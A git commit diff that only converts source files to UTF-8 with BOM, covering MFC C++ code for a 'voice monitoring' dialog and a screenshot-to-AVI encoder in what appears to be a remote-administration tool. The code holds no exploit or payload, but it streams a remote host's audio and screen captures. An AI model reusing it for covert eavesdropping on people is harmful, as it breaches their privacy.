style: Change files encoding format to UTF8-BOM

This commit is contained in:
yuanyuanxiang
2026-01-02 20:00:18 +01:00
parent ba9be08411
commit b6af9ce615
356 changed files with 2819 additions and 2819 deletions

View File

@@ -1,4 +1,4 @@
// AudioDlg.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// AudioDlg.cpp : 实现文件
//
#include "stdafx.h"
@@ -7,7 +7,7 @@
#include "afxdialogex.h"
// CAudioDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CAudioDlg 对话框
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
@@ -42,7 +42,7 @@ BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
END_MESSAGE_MAP()
// CAudioDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// CAudioDlg 消息处理程序
BOOL CAudioDlg::OnInitDialog()
@@ -52,13 +52,13 @@ BOOL CAudioDlg::OnInitDialog()
SetIcon(m_hIcon,FALSE);
CString strString;
strString.Format("%s - <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
strString.Format("%s - 语音监听", m_IPAddress);
SetWindowText(strString);
BYTE bToken = COMMAND_NEXT;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
//启动线程 判断CheckBox
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
m_bThreadRun = m_hWorkThread ? TRUE : FALSE;
@@ -66,7 +66,7 @@ BOOL CAudioDlg::OnInitDialog()
GetDlgItem(IDC_CHECK)->EnableWindow(TRUE);
return TRUE; // return TRUE unless you set the focus to a control
// <EFBFBD>: OCX <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳӦ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> FALSE
// 异常: OCX 属性页应返回 FALSE
}
DWORD CAudioDlg::WorkThread(LPVOID lParam)
@@ -79,10 +79,10 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
continue;
}
DWORD dwBufferSize = 0;
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //播放声音
if (szBuffer != NULL && dwBufferSize > 0)
This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //û<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣͷ
This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //没有消息头
}
This->m_bThreadRun = FALSE;
@@ -98,12 +98,12 @@ void CAudioDlg::OnReceiveComplete(void)
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
case TOKEN_AUDIO_DATA: {
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
m_AudioObject.PlayBuffer(tmp.Buf(), tmp.length()); //<EFBFBD><EFBFBD><EFBFBD>Ų<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_AudioObject.PlayBuffer(tmp.Buf(), tmp.length()); //播放波形数据
break;
}
default:
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 传输发生异常数据
break;
}
}
@@ -111,7 +111,7 @@ void CAudioDlg::OnReceiveComplete(void)
void CAudioDlg::OnClose()
{
CancelIO();
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
@@ -122,7 +122,7 @@ void CAudioDlg::OnClose()
DialogBase::OnClose();
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD>
// 处理是否发送本地语音到远程
void CAudioDlg::OnBnClickedCheck()
{
UpdateData(true);

View File

@@ -1,16 +1,16 @@
#pragma once
#pragma once
#include "IOCPServer.h"
#include "../../client/Audio.h"
// CAudioDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CAudioDlg 对话框
class CAudioDlg : public DialogBase
{
DECLARE_DYNAMIC(CAudioDlg)
public:
CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <EFBFBD><EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
virtual ~CAudioDlg();
DWORD m_nTotalRecvBytes;
@@ -22,15 +22,15 @@ public:
static DWORD WINAPI WorkThread(LPVOID lParam);
void OnReceiveComplete(void);
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
enum { IDD = IDD_DIALOG_AUDIO };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
BOOL m_bSend; // <EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD>
BOOL m_bSend; // 是否发送本地语音到远程
virtual BOOL OnInitDialog();
afx_msg void OnClose();
afx_msg void OnBnClickedCheck();

View File

@@ -1,4 +1,4 @@
#include "stdafx.h"
#include "stdafx.h"
#include "Bmp2Video.h"
#define USE_JPEG 0
@@ -67,11 +67,11 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h)
return ERR_NOT_SUPPORT;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD>BITMAPINFO<EFBFBD><EFBFBD><EFBFBD><EFBFBD>MJPEG
// 创建正确的BITMAPINFO用于MJPEG
BITMAPINFO bmiFormat = *lpbmi;
if (m_fccHandler == ENCODER_H264) {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>H.264ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 打开H.264压缩器
m_hic = ICOpen(ICTYPE_VIDEO, mmioFOURCC('X', '2', '6', '4'), ICMODE_COMPRESS);
if (!m_hic) {
AVIFileRelease(m_pfile);
@@ -79,7 +79,7 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h)
return ERR_NO_ENCODER;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD>δѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>24λBMP<EFBFBD><EFBFBD>
// 设置输入格式(未压缩的24BMP
BITMAPINFOHEADER inputFormat = { 0 };
inputFormat.biSize = sizeof(BITMAPINFOHEADER);
inputFormat.biWidth = m_width;
@@ -89,11 +89,11 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h)
inputFormat.biCompression = BI_RGB;
inputFormat.biSizeImage = m_width * m_height * 3;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD>H.264ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 设置输出格式H.264压缩)
BITMAPINFOHEADER outputFormat = inputFormat;
outputFormat.biCompression = mmioFOURCC('X', '2', '6', '4');
// <EFBFBD><EFBFBD>ѯѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
// 查询压缩器能否处理这个格式
DWORD result = ICCompressQuery(m_hic, &inputFormat, &outputFormat);
if (result != ICERR_OK) {
ICClose(m_hic);
@@ -104,7 +104,7 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h)
return ERR_NO_ENCODER;
}
// <EFBFBD><EFBFBD>ʼѹ<EFBFBD><EFBFBD>
// 开始压缩
result = ICCompressBegin(m_hic, &inputFormat, &outputFormat);
if (result != ICERR_OK) {
ICClose(m_hic);
@@ -115,22 +115,22 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h)
return ERR_NO_ENCODER;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 设置质量
m_quality = 7500;
// AVI<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// AVI流配置
bmiFormat.bmiHeader.biCompression = mmioFOURCC('X', '2', '6', '4');
bmiFormat.bmiHeader.biBitCount = 24;
bmiFormat.bmiHeader.biSizeImage = m_width * m_height * 3;
m_si.dwSuggestedBufferSize = bmiFormat.bmiHeader.biSizeImage;
} else if (m_fccHandler == ENCODER_MJPEG) {
// MJPEG<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// MJPEG需要特殊设置
bmiFormat.bmiHeader.biCompression = mmioFOURCC('M', 'J', 'P', 'G');
bmiFormat.bmiHeader.biBitCount = 24; // MJPEG<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>24λ
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD>ͼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
bmiFormat.bmiHeader.biBitCount = 24; // MJPEG解码后是24
// 计算正确的图像大小
bmiFormat.bmiHeader.biSizeImage = m_width * m_height * 3;
m_si.dwSuggestedBufferSize = bmiFormat.bmiHeader.biSizeImage * 2; // Ԥ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>
m_quality = 85; // Ĭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_si.dwSuggestedBufferSize = bmiFormat.bmiHeader.biSizeImage * 2; // 预留足够空间
m_quality = 85; // 默认质量
} else {
m_si.dwSuggestedBufferSize = lpbmi->bmiHeader.biSizeImage;
}
@@ -163,7 +163,7 @@ int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h)
}
#if USE_JPEG
// <EFBFBD>Ż<EFBFBD><EFBFBD><EFBFBD>BMP<EFBFBD><EFBFBD>JPEGת<EFBFBD><EFBFBD>
// 优化的BMPJPEG转换
bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, unsigned char** jpegData, unsigned long* jpegSize)
{
if (!lpBuffer || !jpegData || !jpegSize) {
@@ -175,29 +175,29 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, unsigned cha
return false;
}
// ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ں<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ<EFBFBD><EFBFBD>
// 确保质量在合理范围内
if (quality < 1) quality = 85;
if (quality > 100) quality = 100;
int pitch = width * 3; // BGR24<EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><EFBFBD><EFBFBD>
int pitch = width * 3; // BGR24格式,每行字节数
// <EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>ΪNULL<EFBFBD><EFBFBD><EFBFBD><EFBFBD>TurboJPEG<EFBFBD>Լ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
// 重要初始化为NULL让TurboJPEG自己分配内存
*jpegData = NULL;
*jpegSize = 0;
// ȥ<EFBFBD><EFBFBD>TJFLAG_NOREALLOC<EFBFBD><EFBFBD>־<EFBFBD><EFBFBD><EFBFBD><EFBFBD>TurboJPEG<EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
// 去掉TJFLAG_NOREALLOC标志,让TurboJPEG自动分配内存
int tjError = tjCompress2(
jpegCompressor,
(unsigned char*)lpBuffer,
width,
pitch, // ÿ<EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><EFBFBD><EFBFBD>
pitch, // 每行字节数
height,
TJPF_BGR, // BGR<EFBFBD><EFBFBD>ʽ
jpegData, // TurboJPEG<EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
TJPF_BGR, // BGR格式
jpegData, // TurboJPEG会自动分配内存
jpegSize,
TJSAMP_422, // 4:2:2ɫ<EFBFBD><EFBFBD><EFBFBD>Ӳ<EFBFBD><EFBFBD><EFBFBD>
quality, // ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0 // <EFBFBD><EFBFBD>ʹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
TJSAMP_422, // 4:2:2色度子采样
quality, // 压缩质量
0 // 不使用特殊标志
);
if (tjError != 0) {
@@ -208,7 +208,7 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, unsigned cha
tjDestroy(jpegCompressor);
// <EFBFBD><EFBFBD>֤<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 验证输出
if (*jpegData == NULL || *jpegSize == 0) {
Mprintf("JPEG compression produced no data\n");
return false;
@@ -226,9 +226,9 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, unsigned cha
using namespace Gdiplus;
// ==================== <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ====================
// ==================== 辅助函数 ====================
// <EFBFBD><EFBFBD>ȡ JPEG <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CLSID
// 获取 JPEG 编码器的 CLSID
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
UINT num = 0;
@@ -254,7 +254,7 @@ int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
return -1;
}
// ==================== <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ====================
// ==================== 主函数 ====================
bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
unsigned char** jpegData, unsigned long* jpegSize)
@@ -263,17 +263,17 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
return false;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD> DIB <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ֽڶ<EFBFBD><EFBFBD>
// 计算 DIB 的行字节数4字节对齐
int rowSize = ((width * 3 + 3) / 4) * 4;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD> Bitmap <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>24λ BGR <EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD>
// 创建 Bitmap 对象(24 BGR 格式)
Bitmap* bitmap = new Bitmap(width, height, PixelFormat24bppRGB);
if (!bitmap || bitmap->GetLastStatus() != Ok) {
if (bitmap) delete bitmap;
return false;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD> Bitmap <EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 锁定 Bitmap 以写入数据
BitmapData bitmapData;
Rect rect(0, 0, width, height);
Status status = bitmap->LockBits(&rect, ImageLockModeWrite,
@@ -284,12 +284,12 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
return false;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ע<EFBFBD>⣺DIB <20>ǵײ<C7B5><D7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ת<EFBFBD><D7AA>
// 复制数据注意DIB 是底部到顶部,需要翻转)
BYTE* srcData = (BYTE*)lpBuffer;
BYTE* dstData = (BYTE*)bitmapData.Scan0;
for (int y = 0; y < height; y++) {
// DIB <EFBFBD>Ǵӵײ<EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD>ģ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>ת
// DIB 是从底部开始的,所以需要翻转
BYTE* srcRow = srcData + (height - 1 - y) * rowSize;
BYTE* dstRow = dstData + y * bitmapData.Stride;
memcpy(dstRow, srcRow, width * 3);
@@ -297,14 +297,14 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
bitmap->UnlockBits(&bitmapData);
// <EFBFBD><EFBFBD>ȡ JPEG <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 获取 JPEG 编码器
CLSID jpegClsid;
if (GetEncoderClsid(L"image/jpeg", &jpegClsid) < 0) {
delete bitmap;
return false;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD> JPEG <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 设置 JPEG 质量参数
EncoderParameters encoderParams;
encoderParams.Count = 1;
encoderParams.Parameter[0].Guid = EncoderQuality;
@@ -314,7 +314,7 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
ULONG qualityValue = (ULONG)quality;
encoderParams.Parameter[0].Value = &qualityValue;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><EFBFBD><EFBFBD> JPEG
// 创建内存流用于保存 JPEG
IStream* stream = NULL;
HRESULT hr = CreateStreamOnHGlobal(NULL, TRUE, &stream);
if (FAILED(hr)) {
@@ -322,7 +322,7 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
return false;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ JPEG
// 保存为 JPEG
status = bitmap->Save(stream, &jpegClsid, &encoderParams);
delete bitmap;
@@ -331,7 +331,7 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
return false;
}
// <EFBFBD><EFBFBD>ȡ JPEG <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 获取 JPEG 数据
HGLOBAL hMem = NULL;
hr = GetHGlobalFromStream(stream, &hMem);
if (FAILED(hr)) {
@@ -345,11 +345,11 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
return false;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 分配输出缓冲区
*jpegSize = (unsigned long)memSize;
*jpegData = new unsigned char[*jpegSize];
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 复制数据
void* pMem = GlobalLock(hMem);
if (pMem) {
memcpy(*jpegData, pMem, *jpegSize);
@@ -365,7 +365,7 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
return true;
}
// ==================== GDI+ <EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD> ====================
// ==================== GDI+ 初始化/清理 ====================
class GdiplusManager
{
@@ -395,23 +395,23 @@ public:
}
};
// ȫ<EFBFBD>ֶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 全局对象,自动初始化和清理
static GdiplusManager g_gdiplusManager;
#endif
// <EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD>32λת24λת<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ת<EFBFBD><EFBFBD>
// 正确的32位转24位转换含翻转
unsigned char* ConvertScreenshot32to24(unsigned char* p32bitBmp, int width, int height)
{
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>BMP<EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>С<EFBFBD><EFBFBD>4<EFBFBD>ֽڶ<EFBFBD><EFBFBD>
// 计算BMP的实际行大小4字节对齐
int srcRowSize = ((width * 32 + 31) / 32) * 4;
int dstRowSize = width * 3; // Ŀ<EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><EFBFBD>յ<EFBFBD>24λ
int dstRowSize = width * 3; // 目标是紧凑的24
unsigned char* p24bitBmp = (unsigned char*)malloc(dstRowSize * height);
if (!p24bitBmp) return nullptr;
for (int y = 0; y < height; y++) {
// BMP<EFBFBD>Ǵ<EFBFBD><EFBFBD>µ<EFBFBD><EFBFBD>ϴ洢<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>ת
// BMP是从下到上存储,需要翻转
unsigned char* src = p32bitBmp + (height - 1 - y) * srcRowSize;
unsigned char* dst = p24bitBmp + y * dstRowSize;
@@ -419,25 +419,25 @@ unsigned char* ConvertScreenshot32to24(unsigned char* p32bitBmp, int width, int
dst[x * 3 + 0] = src[x * 4 + 0]; // B
dst[x * 3 + 1] = src[x * 4 + 1]; // G
dst[x * 3 + 2] = src[x * 4 + 2]; // R
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Alphaͨ<EFBFBD><EFBFBD>
// 忽略Alpha通道
}
}
return p24bitBmp;
}
// 24λBMP<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ת<EFBFBD><EFBFBD>ȥ<EFBFBD><EFBFBD><EFBFBD>
// 24BMP处理(含翻转和去对齐)
unsigned char* Process24BitBmp(unsigned char* lpBuffer, int width, int height)
{
// BMP 24λ<EFBFBD>д<EFBFBD>С<EFBFBD><EFBFBD>4<EFBFBD>ֽڶ<EFBFBD><EFBFBD>
// BMP 24位行大小4字节对齐
int srcRowSize = ((width * 24 + 31) / 32) * 4;
int dstRowSize = width * 3; // <EFBFBD><EFBFBD><EFBFBD>ո<EFBFBD>ʽ
int dstRowSize = width * 3; // 紧凑格式
unsigned char* processed = (unsigned char*)malloc(dstRowSize * height);
if (!processed) return nullptr;
for (int y = 0; y < height; y++) {
// <EFBFBD><EFBFBD>ת<EFBFBD><EFBFBD>ȥ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>
// 翻转并去除填充字节
unsigned char* src = lpBuffer + (height - 1 - y) * srcRowSize;
unsigned char* dst = processed + y * dstRowSize;
memcpy(dst, src, dstRowSize);
@@ -475,7 +475,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer)
return false;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD>ĸ<EFBFBD>ʽͷ
// 创建正确的格式头
BITMAPINFOHEADER inputHeader = { 0 };
inputHeader.biSize = sizeof(BITMAPINFOHEADER);
inputHeader.biWidth = m_width;
@@ -488,7 +488,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer)
BITMAPINFOHEADER outputHeader = inputHeader;
outputHeader.biCompression = mmioFOURCC('X', '2', '6', '4');
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 分配输出缓冲区
DWORD maxCompressedSize = m_width * m_height * 3;
unsigned char* compressedData = (unsigned char*)malloc(maxCompressedSize);
if (!compressedData) {
@@ -499,21 +499,21 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer)
DWORD flags = 0;
// <EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ICCompress
// 正确调用ICCompress
DWORD result = ICCompress(
m_hic, // ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
0, // <EFBFBD><EFBFBD>־<EFBFBD><EFBFBD>0=<3D>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD>֡<EFBFBD><D6A1>
&outputHeader, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽͷ
compressedData, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
&inputHeader, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽͷ
processedBuffer, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hic, // 压缩器句柄
0, // 标志0=自动决定关键帧)
&outputHeader, // 输出格式头
compressedData, // 输出数据
&inputHeader, // 输入格式头
processedBuffer, // 输入数据
NULL, // ckid
&flags, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
m_nFrames, // ֡<EFBFBD><EFBFBD>
0, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><EFBFBD>0=<3D>Զ<EFBFBD><D4B6><EFBFBD>
m_quality, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
NULL, // ǰһ֡<EFBFBD><EFBFBD>ʽͷ
NULL // ǰһ֡<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
&flags, // 输出标志
m_nFrames, // 帧号
0, // 期望大小0=自动)
m_quality, // 质量
NULL, // 前一帧格式头
NULL // 前一帧数据
);
if (result != ICERR_OK) {
@@ -523,7 +523,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer)
return false;
}
// ʵ<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><EFBFBD>outputHeader.biSizeImage<EFBFBD><EFBFBD>
// 实际压缩大小在outputHeader.biSizeImage
writeData = compressedData;
writeSize = outputHeader.biSizeImage;
needFree = true;
@@ -535,7 +535,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer)
case ENCODER_MJPEG: {
unsigned char* processedBuffer = nullptr;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬλ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 处理不同位深度
if (m_bitCount == 32) {
processedBuffer = ConvertScreenshot32to24(lpBuffer, m_width, m_height);
} else if (m_bitCount == 24) {
@@ -545,7 +545,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer)
if (!processedBuffer) {
return false;
}
// ѹ<EFBFBD><EFBFBD>ΪJPEG
// 压缩为JPEG
if (!BmpToJpeg(processedBuffer, m_width, m_height, m_quality, &writeData, &writeSize)) {
free(processedBuffer);
Mprintf("Failed to compress JPEG\n");
@@ -560,7 +560,7 @@ bool CBmpToAvi::Write(unsigned char* lpBuffer)
return false;
}
// д<EFBFBD><EFBFBD>AVI<EFBFBD><EFBFBD>
// 写入AVI
LONG bytesWritten = 0;
LONG samplesWritten = 0;
HRESULT hr = AVIStreamWrite(m_pavi, m_nFrames, 1,

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include <Vfw.h>
#pragma comment(lib,"Vfw32.lib")
@@ -10,13 +10,13 @@
enum FCCHandler {
ENCODER_BMP = BI_RGB,
ENCODER_MJPEG = mmioFOURCC('M', 'J', 'P', 'G'),
// <EFBFBD><EFBFBD>װx264vfw<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: https://sourceforge.net/projects/x264vfw/
// 安装x264vfw编解码器: https://sourceforge.net/projects/x264vfw/
ENCODER_H264 = mmioFOURCC('X', '2', '6', '4'),
};
/************************************************************************
* @class CBmpToAvi
* @brief λͼתAVI֡
